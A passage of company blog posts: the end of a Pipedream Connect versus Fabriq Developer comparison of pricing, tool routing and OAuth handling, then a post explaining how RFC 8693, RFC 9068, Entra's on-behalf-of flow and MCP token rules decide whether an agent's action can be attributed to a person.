authorize through an OAuth app you register, and Gmail and full Google Drive go through your own Google app on every plan because Google treats those scopes as restricted. So "production-capable on day one" is true of the call path and the audit records, and it is not true of "you don't have to register anything". One honest asymmetry: triggers, the provider-event subscriptions that call your webhook, sit on our Launch plan rather than the free one. If you need to react to a provider event before you're paying anyone, Pipedream's free development environment will let you prototype that and ours won't. > **The free-tier question isn't "how much do I get".** It's "can a stranger use this". Pipedream's free tier > answers no, by design and in writing. Ours answers yes, with a ceiling of 20,000 calls. ## When an Agent Loops {#credits} Here's the part we'd model in a spreadsheet before committing, because it's where a workflow runner's pricing meets an agent's behaviour. Pipedream's unit is the credit, and the definition on the pricing page covers exactly the operations an agent performs: "Running an action, calling a tool through MCP, sending a request through the Connect proxy, and emitting an event from a deployed trigger each use 1 credit per 30 seconds of compute". The docs add the useful other half, which is what's free: listing apps, actions and triggers, listing accounts, configuring actions and triggers, and other management operations consume no credits. So discovery is free and execution is metered. A tool call that returns in two seconds and a tool call that returns in twenty-nine both cost one credit. Startup includes 10,000 of them. Beyond that, additional credits are $0.012 each. Now put an agent on it. A single user request that lists messages, reads three of them, searches a second system and writes one record is six tool calls. Retries and a model that re-reads before writing push that higher. At six calls per request, Startup's included credits cover roughly 1,666 user requests a month across your entire customer base. A product doing 300,000 tool calls a month pays $99 plus 290,000 additional credits at $0.012, which is $3,480. That arithmetic is ours, from Pipedream's published rates, and it assumes every call finishes inside 30 seconds. Slower calls cost more. Fabriq's unit is coarser and we'd rather be upfront about that than win a comparison on a technicality. A call is any request your agent makes through Fabriq, which includes authenticating and retrieving credentials, not only the tool call. Against that, 2,000,000 calls is the $300 tier. The duration of a call doesn't change what it costs, which is the structural difference: we meter requests, Pipedream meters compute. ```mermaid flowchart TD T["Agent makes a tool call"] --> D{"Which meter?"} D -->|Pipedream| C1["1 credit per 30s of compute"] C1 --> C2{"Inside 10,000<br/>included credits?"} C2 -->|Yes| C3["No extra charge"] C2 -->|No| C4["$0.012 per additional credit"] D -->|Fabriq| F1["1 call, duration ignored"] F1 --> F2{"Inside the plan's<br/>call pool?"} F2 -->|Yes| F3["No extra charge"] F2 -->|No| F4["Move up a tier"] ``` **Figure 1 — Pipedream meters compute time, Fabriq meters requests. An agent that makes many short calls is the worst case for one model and the normal case for the other.** There's a second line on the invoice worth planning for. Pipedream bills external users separately from credits, where an external user is "each distinct user of your app who connects at least one account". Startup includes 100 and charges $2 per user after that. Five thousand connected users is 4,900 chargeable users, or $9,800 a month before a single credit. Fabriq's published plans have no per-user line, which is the single biggest cost difference between the two at consumer-ish scale. ## One App at a Time {#surface} The way Pipedream's tools reach a model is the second place its origins show, and it's the detail we'd most want to know before building. Pipedream's remote MCP server lives at `https://remote.mcp.pipedream.net/v3` and speaks both SSE and streamable HTTP with no configuration. Four headers are required on every request: `x-pd-project-id`, `x-pd-environment`, `x-pd-external-user-id` and `x-pd-app-slug`. That last one is the interesting one. The docs describe each MCP server as corresponding to "an app integration (like Notion, Gmail, or Slack)" with "its own specific set of tools", so the app is part of the address, not something the agent discovers inside a single connection. In practice that means your code decides which app's tools the model can see before the model sees anything. If an agent needs Gmail and Notion and Linear, that's three servers, or one server re-addressed per turn. Pipedream gives you an app discovery API to pick the slug programmatically, and `apps.list` with a query string is a perfectly good router. But the routing is your job, and an agent that doesn't know which app it needs until it has read the user's message has to be built around that. The compensating design is genuinely clever. If a user has no connected account for a tool the agent tries, Pipedream's MCP server returns a Connect Link URL in the tool-call response, with no extra implementation required. The agent can hand that link straight to the user mid-conversation. We don't have an equivalent in the tool response and we think it's the nicest thing in Pipedream Connect. Fabriq's surface is addressed per user instead of per app. `for_user(request)` mints a short-lived user-scoped token, 900 seconds by default with a one-hour ceiling, and the session serves every tool that user granted across every provider, with the effective list being the intersection of the user's scopes and the agent's. One endpoint, one `tools/list`, no app slug. ```mermaid flowchart LR subgraph P["Pipedream Connect MCP"] PA["Your code picks app slug"] --> PB["x-pd-app-slug: notion"] PB --> PC["Notion tools only"] PA --> PD["x-pd-app-slug: gmail"] PD --> PE["Gmail tools only"] end subgraph F["Fabriq Developer"] FA["for_user(request)"] --> FB["user-scoped token"] FB --> FC["tools/list = user grants<br/>∩ agent scopes"] FC --> FD["All granted providers"] end ``` **Figure 2 — Pipedream addresses its tool surface by app, Fabriq addresses it by user. Which one is better depends on whether your agent knows what it needs before it reads the request.** Neither is obviously right. Addressing by app keeps the tool list small, which is a real problem at 10,000 tools, and lets you hand a narrow server to a narrow sub-agent. Addressing by user means one connection and no router, at the cost of a tool list that grows with everything that user connected. If we had 10,000 tools we'd probably have built it Pipedream's way too. ## OAuth and the Token {#oauth} Both platforms default to their own OAuth client, which is the thing that makes a first call possible on a Friday rather than three weeks after you file for Google verification. Pipedream's docs say it "will default to using Pipedream's official OAuth client", and that "for any OAuth app that supports it, you can always use your own client", with one hedge worth reading twice: "Your ability to use Pipedream's OAuth clients in production depends on the use case." The capability table is where that gets concrete, and it maps directly onto the question of who holds the token: | Operation | Pipedream's client | Your own client | |---|---|---| | Retrieve user credentials via the API | No | Yes | | Invoke Pipedream workflows as the end user | No | Yes | | Embed prebuilt tools | Yes | Yes | | Proxy API requests | Yes | Yes | So on Pipedream's own client the raw credential never comes back to you. You run tools and proxy requests, and the token stays on their side. The moment you need the access token in your own process, you have to register your own OAuth app with the provider, create the client in Pipedream, and register the unique `redirect_uri` it returns. The client secret is write-only and never returned. That is a well-drawn boundary and close to how we'd draw it. Fabriq's default proxy mode keeps the credential in the vault and attaches it server-side at call time, so the agent receives a session and never the secret, and our catalogue offers the same two paths per provider: Agentic Fabriq's OAuth app, or your own. Credential model and delegation model are two of the nine dimensions in the [agent access control taxonomy](https://agenticfabriq.github.io/agent-access-control-taxonomy/), and on both of those the two products land in nearly the same place. Where we differ is identity. Pipedream's MCP requests carry `x-pd-external-user-id`, a value your code sets per request. Fabriq's SDK takes your framework's request object and reads the user from the session your own auth already established, so there's no user id for your code, or a model inside your code, to get wrong. Each minted token also records an `auth_level`: `app_asserted` when we simply took your app's word, `app_signed` when your backend signed a 60-second single-use assertion with a private key we never hold, and `user_present` for the moments right after a human finished a connection. You can require signed assertions and refuse unsigned token requests. One thing we don't do: disconnecting clears the grant in our own vault and nothing else, so if you need Google to forget, ask Google. ## Side by Side, Eight Dimensions {#side-by-side} One table, eight dimensions, every Pipedream cell sourced to a Pipedream page we read on **2026-10-29**. Where a figure is not published on a primary source, the cell says so rather than carrying a guess, and no row here is scored. | Dimension | Pipedream Connect | Fabriq Developer | Pipedream source, read 2026-10-29 | |---|---|---|---| | Provider coverage | "3,000+ connectors" and "10,000+ prebuilt tools and triggers", on every plan including Free | 511 providers, 62,678 catalogued actions; 125 with a live OAuth sign-in, 12 in progress, 374 credential-only | [pricing](https://pipedream.com/pricing) | | User-connection model | Your customer authorizes anything in the catalogue through the frontend SDK or a Connect Link, keyed to an external user id your code sets. In development the environment is "limited to 10 unique external user IDs" and the user "must be signed in to pipedream.com in the same browser" | `initiate_connection(request, provider)` then `for_user(request)`; identity is read from your framework's session, so no method takes a user id. 13 providers on the end-user OAuth path, 448 on an Agentic Fabriq-hosted credentials page | [environments](https://pipedream.com/docs/connect/managed-auth/environments) | | Who owns the OAuth app | Defaults to Pipedream's: "we'll default to using Pipedream's official OAuth client, which enables you to quickly get up and running", and "For any OAuth app that supports it, you can always use your own client"; with the hedge "Your ability to use Pipedream's OAuth clients in production depends on the use case" | Our shared apps on a paid plan for non-restricted scopes after a one-time attestation; your own app on Free; Gmail and full Google Drive always your own Google app | [OAuth clients](https://pipedream.com/docs/connect/managed-auth/oauth-clients) | | Credential handling | On Pipedream's own client the raw credential never comes back to you: the capability table marks "Retrieve user credentials via API" as unavailable for Pipedream's client and available for your own. The client secret "is write-only. Pipedream never returns it in a response" | Vault-held at a path derived from org, agent, external user, tool and connection id, attached server-side at call time. No retrieval path in the external-user flow on any plan | [OAuth clients](https://pipedream.com/docs/connect/managed-auth/oauth-clients) | | SDK / framework support | Frontend and backend SDKs, a REST API, an app-discovery API, and a remote MCP server at `remote.mcp.pipedream.net/v3` speaking SSE and streamable HTTP, addressed per app through `x-pd-app-slug` | Python `agentic-fabriq-sdk` and TypeScript `@agenticfabriq/sdk`, one MCP endpoint addressed per user, and `to_openai_tools()` / `to_anthropic_tools()` / `to_langchain_tools()` | [MCP for developers](https://pipedream.com/docs/connect/mcp/developers), [app discovery](https://pipedream.com/docs/connect/app-discovery) | | Audit access | `isError` tool results carry an `attribution` field classifying whether a failure came from the tool's code, the upstream API or the network. No per-plan audit-log retention or export terms are published on the pages we read | Request logs and live sessions on the Free plan; each call records the agent, the acting user, the tool and the outcome, denials included | [MCP for developers](https://pipedream.com/docs/connect/mcp/developers), [pricing](https://pipedream.com/pricing) | | Pricing unit | Two lines. Credits: "Running an action, calling a tool through MCP, sending a request through the Connect proxy, and emitting an event from a deployed trigger each use 1 credit per 30 seconds of compute", 10,000 included on Startup, $0.012 each beyond. Plus external users: 100 included on Startup, "then $2 per user" | One line: an API call, including authenticating and retrieving credentials, with duration ignored. No per-connected-user charge on any published plan | [pricing](https://pipedream.com/pricing), [plans and pricing docs](https://pipedream.com/docs/pricing) | | Self-hosting | Not published on the pricing page or the Connect docs we read. Business adds "Dedicated static egress IPs", SSO, SCIM, HIPAA and SLAs, which is adjacent but not self-hosting. Ask Pipedream rather than taking this row as a no | Helm install into your own Kubernetes cluster on AWS or GCP on a custom plan; every other plan runs on our managed cloud | [pricing](https://pipedream.com/pricing) | Two rows carry most of the decision. The pricing-unit row, because Pipedream runs two meters and one of them scales with your customer count. And the user-connection-model row, because Pipedream's end-user flow covers its whole catalogue and our OAuth flow covers thirteen providers — the single largest gap on this page. ## Where Pipedream Wins {#wins} A comparison that concedes nothing isn't worth reading, so here is the honest list, and it's not short. **Reach, and it isn't close.** Pipedream advertises "3,000+ connectors" and "10,000+ prebuilt tools and triggers". Fabriq's catalogue holds 511 providers and 62,678 catalogued actions, and the composition matters: 125 have a live OAuth sign-in, 12 are in progress, and 374 have no OAuth flow at all and connect by credential instead. **End-user connect across the whole catalogue.** This is the gap that would decide it for a lot of products. Pipedream's frontend SDK and Connect Link let your customer authorize anything in the catalogue. Fabriq's end-user *OAuth* flow currently drives thirteen providers end to end: Gmail, Google Drive, Docs, Sheets, Slides, Calendar, Meet, Forms, Contacts and Chat, plus Slack, GitHub and Notion. The other 448 reach an Agentic Fabriq-hosted credentials page your user, not you, fills in, which is a correction to an earlier version of this page that said the hosted page supported Notion only and that everything else was an admin step. It still isn't a provider sign-in, and for a consumer product that distinction matters. **Free discovery.** Listing and configuring costs no credits, so an agent can explore the catalogue without metering. **A prototyping environment with every feature on.** All Connect features work in development on any plan, which is a better place to learn the product than a production tier with a ceiling. **Enterprise plumbing already built.** Dedicated static IPs, SSO, SCIM and HIPAA on the Business plan, plus `isError` tool results carrying an `attribution` field that classifies whether a failure came from the tool's code, the upstream API or the network. That last detail is small and it's the kind of thing you miss at 3am. What we'd claim in return is narrow. The free tier runs in production. The credential stays out of the agent's process by default, with no retrieval path at all rather than one gated on bringing your own client. Identity comes from the request rather than a parameter. And the bill doesn't grow with connected users. ## Which to Choose {#choose} **Choose Fabriq Developer when** your free plan has to face real customers — Pipedream's free tier is marked "Development only" and requires a pipedream.com session in the same browser, so it cannot; when your agent makes many short tool calls rather than a few long ones, because a per-request meter is kinder to a loop than a per-30-seconds-of-compute one; when your user count will run far ahead of your revenue and a "$2 per user" line would hurt; when identity should come from the session your own auth established rather than an `x-pd-external-user-id` header your code sets; or when you want one `tools/list` per user across every provider they connected instead of routing by app slug. [Fabriq Developer](/developers) and the [Developer Quickstart](/docs/dev-quickstart) are the two pages to read next, in that order. **Consider Pipedream when** your customers must self-connect a long tail of SaaS through a provider sign-in. This is its decisive advantage and we can't argue it away: 3,000+ connectors with end-user connect across all of them against thirteen on our OAuth path. Also when you want the MCP server to return a Connect Link inside a tool-call response so the agent can hand it to the user mid-conversation, which is the nicest thing in Pipedream Connect and which we don't have; when free, unmetered discovery matters, because listing and configuring consume no credits; when you want every feature available in a prototyping environment on any plan; or when you need dedicated static egress IPs, SSO, SCIM or HIPAA, which Pipedream publishes on Business. ## Frequently Asked Questions {#faq} **Is Pipedream free?** There's a free plan with all build features, 3,000+ connectors and 10,000+ prebuilt tools, but the pricing page marks the production environment and usage credits "Development only". Connect's development environment is capped at 10 external user IDs and intended for your own test accounts. Shipping to real customers means Startup at $99 a month. **Is Pipedream shutting down?** No. Pipedream Workflows and String shut down on 31 March 2027, with Workflows data including connected-account credentials deleted by 30 April 2027. Pipedream Connect, the API, MCP servers and the proxy are explicitly unaffected and are where the company says its focus is going. **How do Pipedream credits work for an AI agent?** A tool call through MCP, an action execution, a Connect proxy request or a deployed trigger emit each cost 1 credit per 30 seconds of compute. Startup includes 10,000 credits a month and additional credits are $0.012 each. Listing and configuring are free. **How many connected accounts does the free plan allow?** Pipedream's docs say the free plan has a daily credit limit and a "limited number of connected accounts" but don't publish either figure. We're not going to estimate it. Check your billing settings, which the docs point to for your exact quota. **Do I need my own OAuth app?** Not to start on Pipedream, which "default[s] to using Pipedream's official OAuth client" — though it hedges that "Your ability to use Pipedream's OAuth clients in production depends on the use case". You need your own client there if you want to retrieve user credentials through the API or invoke workflows as the end user. On Fabriq it depends on the plan: our shared provider apps cover non-restricted scopes on Launch or Growth after a one-time attestation, the Free plan is bring-your-own, and Gmail and full Google Drive use your own Google app on every plan. **Which has more integrations?** Pipedream, by roughly six to one on providers. "3,000+ connectors" against Fabriq's 511, and Pipedream's end-user connect flow covers its whole catalogue where our end-user OAuth flow covers thirteen providers (the other 448 reach a credentials page we host). **What does Fabriq do that Pipedream doesn't?** A production-capable free tier, no per-user billing line, credentials attached server-side so the agent never holds the secret, user identity read from your framework's request instead of a header your code sets, and an effective tool list computed as the intersection of the user's scopes and the agent's. ## Conclusion {#conclusion} The interesting thing about this comparison is that it stopped being a comparison between a workflow product and an agent product. Pipedream decided that itself, in writing, with a date on it. What's left is two products trying to be the same thing from opposite directions, and they're priced as if they still had their old shapes. Pipedream prices compute, because it used to sell compute. Fabriq prices requests, because it never sold anything else. If your agent makes a small number of long calls, Pipedream's meter is kinder. If it makes many short ones, which is what tool-using agents actually do, ours is. And if your product needs a thousand customers to each connect an obscure SaaS account this quarter, the meter is the wrong thing to be arguing about, because only one of these two catalogues can do it. > **Pick on volume shape, not on feature grids.** Count your users, count the tool calls per user task, and > check whether the providers you need are in the handful either platform lets your customers self-connect. > Those three numbers will pick for you, and they'll pick differently for different products. ## Sources {#sources} All Pipedream URLs re-read **2026-10-29**; every figure quoted here matched our 2026-10-12 reading. - [Pipedream pricing](https://pipedream.com/pricing) — Free at $0 with no credit card, "Every feature, in development", "3,000+ connectors", "10,000+ prebuilt tools and triggers", unlimited team members, with the production environment and usage credits marked "Development only"; Startup at $99 monthly or $90 annual with production access, 100 external users then "$2 per user", and 10,000 usage credits; "Credits measure Connect API usage. Running an action, calling a tool through MCP, sending a request through the Connect proxy, and emitting an event from a deployed trigger each use 1 credit per 30 seconds of compute"; additional credits at $0.012; Business custom and annual-only with SSO, SCIM, HIPAA, "Dedicated static egress IPs" and SLAs; no self-hosting published (checked 2026-10-29) - [Pipedream plans and pricing docs](https://pipedream.com/docs/pricing) — what consumes credits and what doesn't, the free plan's unpublished daily credit limit and connected-account cap, and billing on unique external users (checked October 2026) - [Workflows and String are shutting down on March 31, 2027](https://pipedream.com/docs/workflows) — the shutdown date, maintenance mode, the 30 April 2027 data deletion including connected-account credentials, and the Connect carve-out (checked October 2026) - [Pipedream Connect environments](https://pipedream.com/docs/connect/managed-auth/environments) — the 10 external user ID cap in development, the same-browser sign-in requirement, and the production warning (checked October 2026) - [Develop with Pipedream MCP](https://pipedream.com/docs/connect/mcp/developers) — the `remote.mcp.pipedream.net/v3` base URL, the required `x-pd-app-slug` header, per-app servers, Connect Link returned in tool responses, and `isError` with attribution (checked October 2026) - [Pipedream OAuth clients](https://pipedream.com/docs/connect/managed-auth/oauth-clients) — "we'll default to using Pipedream's official OAuth client, which enables you to quickly get up and running", "For any OAuth app that supports it, you can always use your own client", the hedge "Your ability to use Pipedream's OAuth clients in production depends on the use case", the capability table showing credential retrieval and invoking workflows as the end user require your own client while embedding prebuilt tools and proxying API requests work on either, and "The client secret is write-only. Pipedream never returns it in a response" (checked 2026-10-29) - [Pipedream app discovery](https://pipedream.com/docs/connect/app-discovery) — `apps.list` with a query string for picking an app slug programmatically (checked October 2026) - [Pipedream Connect quickstart](https://pipedream.com/docs/connect/quickstart) — the CLI path from install to a running SDK playground (checked October 2026) - [Agentic Fabriq pricing](https://www.agenticfabriq.com/pricing) — ours: Free forever at 20,000 calls a month with unlimited agents, bring-your-own OAuth app and no access to our shared provider apps; Launch at $50 for 200,000 calls and Growth at $300 for 2,000,000, which is $2.50 and $1.50 per 10,000 included calls; add-on calls at $2 per 10,000; triggers from Launch upward; shared provider apps for non-restricted scopes on a paid plan after a one-time attestation; Gmail and full Google Drive on your own Google app on every plan; Helm self-install on AWS or GCP on a custom plan; what counts as an API call (checked 2026-10-29) - [Fabriq Developer](https://www.agenticfabriq.com/developers) and the [Developer Quickstart](https://www.agenticfabriq.com/docs/dev-quickstart) — ours: `AF_APP_ID` / `AF_APP_SECRET`, `initiate_connection`, `for_user`, 900-second user-scoped tokens, the `auth_level` ladder, the thirteen end-user OAuth providers, and the hosted credentials page — an end-user flow, not an admin one, covering roughly 450 providers (checked 2026-10-29) - [Agent access control taxonomy](https://agenticfabriq.github.io/agent-access-control-taxonomy/) — the credential and delegation model dimensions referenced above ================================================================================ ## What On-Behalf-Of Authorization Actually Proves URL: https://www.agenticfabriq.com/blog/on-behalf-of-authorization Published: 2026-10-12 Author: Paulina Xu Summary: Four systems describe an agent acting on behalf of a user, and all four put different things on the wire. How to read a token and decide whether the action belongs to a person. ```tldr **An action is attributable to a person only if the credential behind it names both the person and the software that acted. Most agent tokens name exactly one of the two.** RFC 9068 is blunt about the common case: for an access token obtained through the client credentials grant, the `sub` value "SHOULD correspond to an identifier the authorization server uses to indicate the client application." No human is in there. RFC 8693 is the opposite arrangement: the user sits in `sub` and the acting party sits in a nested `act` claim. The phrase "on behalf of" gets used for both, which is where the trouble starts. It appears in product copy, in Microsoft's flow name, in Google's impersonation docs and in RFC 8693, and the four of them put different things on the wire. We are not arguing that everyone needs RFC 8693. Entra's flow reconstructs the same pair of facts from a different pair of claims, and that is fine. What is not fine is a resource server that logs `sub` as "the user" without checking which arrangement it is in. So inspect one real token from your agent before you trust your audit trail. Decode it, find the subject, find the client, and check whether the audience is you. If any of the three is missing you do not have attribution, you have a log line. ``` ## Overview {#overview} Take a procurement agent at a mid-size manufacturer. It reconciles supplier statements against purchase orders, and when a line will not reconcile it opens a dispute in the supplier portal under whichever buyer owns that PO. Four months later a supplier's finance team asks who authorized a disputed credit note. The only question that matters is narrow and the answer has to come out of a log: which human does that one API call belong to? That question has a surprising number of wrong answers available. The agent had a credential. The call succeeded. Something in the trace says "procurement-agent". None of that establishes that a named buyer authorized anything, and if the credential was a service account shared across the buying team, nothing ever will. The exchange mechanics are covered separately in [token exchange for agents](/blog/token-exchange-rfc-8693-for-agents), and the reason an agent carries two identities at all is covered in [agent authorization vs. authentication](/blog/agent-authorization-vs-authentication). This post is about the inspection problem on the other side of the wire. Given a token arriving at a resource server, what can you actually conclude about the human behind it? We are going to read four systems that all use the words "on behalf of" and see what each one leaves you holding. > **The claim we would defend:** on-behalf-of is not a trust level, it is a shape. Either the request > carries two principals that a later reader can separate, or it carries one, and no amount of logging at > the agent layer repairs the difference. ## What "On Behalf Of" Means on the Wire {#wire} RFC 8693 splits the phrase in two, and it is worth reading the definitions next to each other rather than in sequence. On impersonation: "When principal A impersonates principal B, A is given all the rights that B has within some defined rights context and is indistinguishable from B in that context." On delegation: "With delegation semantics, principal A still has its own identity separate from B, and it is explicitly understood that while B may have delegated some of its rights to A, any actions taken are being taken by A representing B." The two produce the same HTTP request. Same method, same path, often the same effect on the resource. They differ only in what a reader can reconstruct afterwards, which means the choice between them is an accountability decision dressed as a token format decision. Google's IAM documentation is unusually honest about where that leaves you. It defines the pattern as impersonation outright: "When an authenticated principal, such as a user or another service account, authenticates as a service account to gain the service account's permissions, it's called *impersonating* the service account." And then it tells you where the second identity went: "If a principal accesses resources while impersonating a service account, most audit logs include both their identity and the identity of the service account they're impersonating." Read that carefully. Both identities exist, in the audit log, with a hedge on the word "most". They are not in the credential the downstream service sees. If your agent impersonates a service account and the downstream system keeps its own log, that log records the service account and the human is gone. You now need two logs and a join to answer the supplier's question, and the join key is a Google-internal request identifier rather than anything in your own data. Impersonation is not a mistake. It is the right call when the acting party genuinely has no identity worth recording, and it is operationally simpler because nothing downstream needs to understand a new claim. But it spends your attribution, and the bill arrives during an incident review. ## The act Claim, and What may_act Gates {#act} RFC 8693's delegation arrangement is one claim. Section 4.1: "The `act` (actor) claim provides a means within a JWT to express that delegation has occurred and identify the acting party to whom authority has been delegated." The user remains the subject. The actor is nested inside, in its own object, with its own `sub`. ```json { "aud": "https://service26.example.com", "iss": "https://issuer.example.com", "exp": 1443904100, "nbf": 1443904000, "sub": "user@example.com", "act": { "sub": "https://service16.example.com", "act": { "sub": "https://service77.example.com" } } } ``` That is Figure 6 of the RFC, and the nesting is deliberate: "A chain of delegation can be expressed by nesting one `act` claim within another. The outermost `act` claim represents the current actor while nested `act` claims represent prior actors." For an agent that calls another agent, we think this is the only standard OAuth claim that preserves the originating human past the first hop. What a chain does and does not guarantee across several agents is covered in [agent-to-agent authorization](/blog/agent-to-agent-authorization). The companion claim does the gating. Section 4.4: "The `may_act` claim makes a statement that one party is authorized to become the actor and act on behalf of another party." Without something playing that role, a token service will mint an actor token for any client that asks and can authenticate, which converts your delegation story into a privilege escalation story. The request side matches: `actor_token` is "a security token that represents the identity of the acting party", and `actor_token_type` is "REQUIRED when the `actor_token` parameter is present in the request but MUST NOT be included otherwise." ```mermaid sequenceDiagram participant A as Agent participant S as Token service participant R as Resource server A->>S: grant_type=token-exchange Note over A,S: subject_token = user token<br/>actor_token = agent credential S->>S: check may_act for this actor S-->>A: token: sub=user, act.sub=agent A->>R: request with exchanged token R->>R: validate aud, read sub and act.sub R-->>A: 200, log records both principals ``` Token service Token service checks may_act, issues token with sub=user, act.sub=agent Agent --> Resource server: validates aud, reads sub AND act.sub Log line now has two principals, separable by a later reader. --> **Figure 1 — Delegation as RFC 8693 arranges it. The point of the `act` claim is not the exchange, it is that the resource server's own log can name two principals without consulting anyone else's system.** ## What `sub` Alone Tells You {#subject} Here is the trap, and we think it catches more agent deployments than any exotic attack. RFC 7519 defines the subject claim as broadly as possible: "The `sub` (subject) claim identifies the principal that is the subject of the JWT." It does not say the principal is a person. RFC 9068, which profiles JWT access tokens, then splits the behaviour by grant. For grants with a resource owner involved, such as the authorization code grant, "the value of `sub` SHOULD correspond to the subject identifier of the resource owner." For the client credentials grant, "the value of `sub` SHOULD correspond to an identifier the authorization server uses to indicate the client application." Same claim, two populations. A resource server that reads `sub` and writes it into a column called `user_id` is correct half the time and silently wrong the other half, and nothing in the token flags which half you are in. The disambiguator is sitting right there: RFC 9068 makes `client_id` a required claim in JWT access tokens. If `sub` equals `client_id`, no human was involved in obtaining that token. > **The check that costs nothing:** compare `sub` to `client_id` on every inbound token. Equal means the > application is the subject and your attribution stops there. Different means someone consented, and the > pair of values is the two identities you need. What the token cannot tell you is whether the action behind it was a good idea, which is a separate gap covered in [why OAuth alone isn't enough for AI agents](/blog/oauth-not-enough-for-agents). The audience claim is the third leg. RFC 9068 requires `aud`, and requires the resource server to confirm "the `aud` claim contains a resource indicator value corresponding to an identifier the resource server expects for itself." Audience is not an attribution claim, but it is what stops attribution from being forgeable, because a token minted for somebody else's API tells you nothing reliable about who is calling yours. ## Entra's On-Behalf-Of Flow, in Its Own Terms {#entra} Microsoft owns the phrase in practice, because Entra named a flow after it. Their definition: the OBO flow "describes the scenario of a web API using an identity other than its own to call another web API. Referred to as delegation in OAuth, the intent is to pass a user's identity and permissions through the request chain." The request is a JWT bearer grant with one distinctive parameter. `grant_type` is `urn:ietf:params:oauth:grant-type:jwt-bearer`, `assertion` carries "the access token that was sent to the middle-tier API", and `requested_token_use` "must be set to `on_behalf_of`". The assertion rule is the interesting one, because it is an audience rule wearing a delegation hat: that token "must have an audience (`aud`) claim of the app making this OBO request", and "Applications can't redeem a token for a different app (for example, if a client sends an API a token meant for Microsoft Graph, the API can't redeem it using OBO. It should instead reject the token)." Two more details are worth lifting out. First, the flow deals only in delegated permissions: it "only uses delegated *scopes* and not application *roles*", because roles "remain attached to the principal (the user) and never to the application operating on the user's behalf. This occurs to prevent the user gaining permission to resources they shouldn't have access to." That sentence is the intersection rule stated as product behaviour, and it is the subject of [agent scope and user permission](/blog/agent-scope-user-permission-intersection). Second, Microsoft tells you not to relay the resulting token anywhere: "**DO NOT** send access tokens that were issued to the middle tier to anywhere except the intended audience for the token." Their listed reasons include inability to satisfy "token binding and Conditional Access scenarios requiring claim step-up". What the resulting token is not, is an RFC 8693 token with a nested `act`. Entra hands you a token whose subject is the user and whose client is the middle tier, recorded in the client identity claims rather than in an actor object. Both facts are there. They are in a different place. So a resource server that validates "two principals present" by looking for `act` will reject a perfectly well-formed Entra OBO token, and an agent platform that advertises on-behalf-of without saying which arrangement it emits has told you nothing checkable. ## Why MCP Forbids Passing Through What You Were Handed {#mcp} The MCP `2026-07-28` authorization specification is the strictest writing on this we have read, and it gets there from the audience side rather than the attribution side. An MCP server is formally an OAuth 2.1 resource server, and the rules are stacked: servers "**MUST** validate that access tokens were issued specifically for them as the intended audience"; servers "**MUST** only accept tokens that are valid for use with their own resources"; servers "**MUST NOT** accept or transit any other tokens." Then the part that matters for an agent sitting between a user and three SaaS APIs: "If the MCP server makes requests to upstream APIs, it may act as an OAuth client to them. The access token used at the upstream API is a separate token, issued by the upstream authorization server. The MCP server **MUST NOT** pass through the token it received from the MCP client." The companion security guidance explains the cost of ignoring that, and the reasons are accountability reasons rather than confidentiality ones. The server "will be unable to identify or distinguish between MCP Clients when clients are calling with an upstream-issued access token which may be opaque to the MCP Server", and "the downstream Resource Server's logs may show requests that appear to come from a different source with a different identity, rather than the MCP server that is actually forwarding the tokens." Both, it says, "make incident investigation, controls, and auditing more difficult." ```mermaid flowchart TD T[Inbound token at the gateway] --> A{aud names this service?} A -- no --> R1[401, reject] A -- yes --> B{sub equals client_id?} B -- yes --> C[Application is the subject] B -- no --> D{acting party named?} D -- "act.sub present" --> E[Delegation: two principals] D -- "client claims only" --> F[OBO shape: two principals] D -- no --> G[User token, no actor recorded] C --> H[Mint a separate upstream token] E --> H F --> H G --> H H --> I[Call upstream, log both principals] ``` **Figure 2 — The inspection order. Audience first because it is the only check that can be forged past, then subject against client, then the acting party. The last step is the same in every branch.** The practical reading is that a gateway acting for an agent needs two tokens per call and has to resist the temptation to use one. The MCP permissioning gap more broadly is covered in [the MCP OAuth permissioning problem](/blog/mcp-oauth-permissioning-problem). ## Reading Attributability Off a Token {#reading} Put the four systems in one table and the inspection procedure writes itself. | Arrangement | Subject claim | Acting party | Attributable to a person? | |---|---|---|---| | Client credentials (RFC 9068) | the client application | not applicable | No | | Authorization code, user token | the resource owner | not recorded | Yes, but the software is unnamed | | RFC 8693 delegation | the resource owner | nested `act.sub` | Yes, both named in the token | | Impersonation (8693 or Google IAM) | the impersonated identity | in the provider's audit log | Only by joining two logs | The procedure is four checks, in this order. Validate `aud` against your own identifier and reject otherwise. Compare `sub` to `client_id`; if they match, stop calling this a user action. Look for an acting party, in `act.sub` or in the client identity claims, and record whichever you find under a field name that says which one it was. Then write both principals into your own log rather than relying on the provider's. This is the delegation model dimension of the [Agent Access Control Taxonomy](https://agenticfabriq.github.io/agent-access-control-taxonomy/), and the vocabulary is useful precisely because "on behalf of" is overloaded. The taxonomy's `aact:delegation-model/on-behalf-of-user` is defined as an agent that "acts for a specific human, and its effective permissions are bounded by that human's permissions", and it explicitly includes both OAuth authorization code grants and "token exchange with an actor claim" as ways of getting there. `aact:delegation-model/autonomous` is the other case, where the agent "acts under permissions granted directly to it, not derived from any human user", and that is the honest label for a client credentials deployment. `aact:delegation-model/agent-to-agent` carries the risk note that matters here: without a recorded principal chain, "the originating human is lost after the first hop." > **Write the label down before the incident, not after.** A deployment that cannot say which of those > three terms it implements is not going to discover the answer under time pressure with a supplier on the > phone. ## Frequently Asked Questions {#faq} **What is on-behalf-of authorization?** It is the pattern where a service makes a call for a user and the call carries both identities, so a later reader can tell which human the action belongs to and which piece of software performed it. RFC 8693 calls that delegation and expresses it as a `sub` plus a nested `act` claim. Microsoft calls it the on-behalf-of flow and expresses it as a user subject plus the middle tier's client identity. **What is the difference between delegation and impersonation in OAuth?** RFC 8693 draws it in one sentence each. Under impersonation the acting party "is indistinguishable from" the user in that context. Under delegation the acting party "still has its own identity separate from" the user. Impersonation is simpler to deploy because nothing downstream needs to understand an extra claim, and it costs you the ability to attribute the action without a second log. **What is the `act` claim in a JWT?** The actor claim from RFC 8693 section 4.1. It names the party to whom authority was delegated, nested inside the token whose subject is the user. Nesting one `act` inside another expresses a chain, with the outermost being the current actor. **Does a client credentials token identify a user?** No. RFC 9068 says its `sub` should indicate the client application. If your agent authenticates with client credentials and you log `sub` as a user identifier, you are logging the application name in a column labelled "user". **Is Microsoft's on-behalf-of flow the same as RFC 8693 token exchange?** No. It is a JWT bearer grant with `requested_token_use=on_behalf_of`, not the token exchange grant type, and the resulting token does not carry a nested `act` claim. The two achieve similar accountability from different claim layouts, which is exactly why you cannot write one validator and assume it covers both. **How do I know if an agent action is attributable to a person?** Decode the token the resource server actually received. If the audience is not you, nothing else matters. If `sub` equals 